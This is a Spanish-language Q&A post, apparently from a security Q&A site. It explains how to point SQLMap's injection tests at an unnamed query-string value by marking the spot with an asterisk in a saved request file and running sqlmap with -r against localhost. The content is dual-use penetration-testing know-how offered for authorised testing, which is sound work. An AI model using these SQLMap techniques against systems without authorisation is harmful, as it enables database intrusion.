SQLMap: Probando la URL del parámetro implícito

SQLMap: Probando la URL del parámetro implícito

#1 de wireghoul (1 votos)

Estoy saturando el sitio web de un cliente pero no puedo encontrar una sintaxis para indicar a SQLMap que la variable que debería probar no tiene un nombre explícito en la URL.

Ya probé el método MVC que dice usar * (asterisco, no funcionó), pero esto es un poco diferente. En lugar de:

http://web.site/index/aksjdnas

está en la forma:

http://web.site/index.aspx?aksjdnas

con aksjdnas el valor del parámetro, no su nombre. SQLMap sigue usándolo como el nombre del parámetro. ¿Alguien ha visto una solución a este problema?

Editar:

Realmente no puedo entender por qué esta pregunta fue puesta fuera de tema ya que es una pregunta "sobre tema" como se indica en Centro de ayuda: herramienta de seguridad y no le estoy pidiendo a nadie que rompa nada por mí.

Simplemente estoy pidiendo ayuda con la sintaxis en una herramienta de seguridad. Hay varias otras preguntas sobre este problema aquí en SE IS, y ninguna de ellas ha sido cerrada. Empecé una nueva pregunta porque la solución propuesta allí no me ha funcionado, ya que hay algunas diferencias en el formato de URL.

Confirmó que funciona según lo previsto con un asterisco , utilizando el mapa sql de Backtrack 5r2, pero debería comportarse igual con Kali. El siguiente ejemplo no funciona porque lo estoy ejecutando contra un archivo html estático, pero muestra las inyecciones que ocurren en el lugar correcto.

Primero guardé la solicitud en un archivo y agregué el asterisco:

root@bt:/pentest/database/sqlmap# cat trq 
GET /?arg1*=test123 HTTP/1.1
Host: localhost
User-Agent: Mozilla/4.0

A continuación, invoque sqlmap con el parámetro -r:

root@bt:/pentest/database/sqlmap# ./sqlmap.py -r trq

Ok, parece que probó algunas inyecciones, confirmémoslo mirando el registro del servidor web:

El archivo de registro confirma que la inyección se colocó donde estaba el asterisco y no se asignó al valor del parámetro.
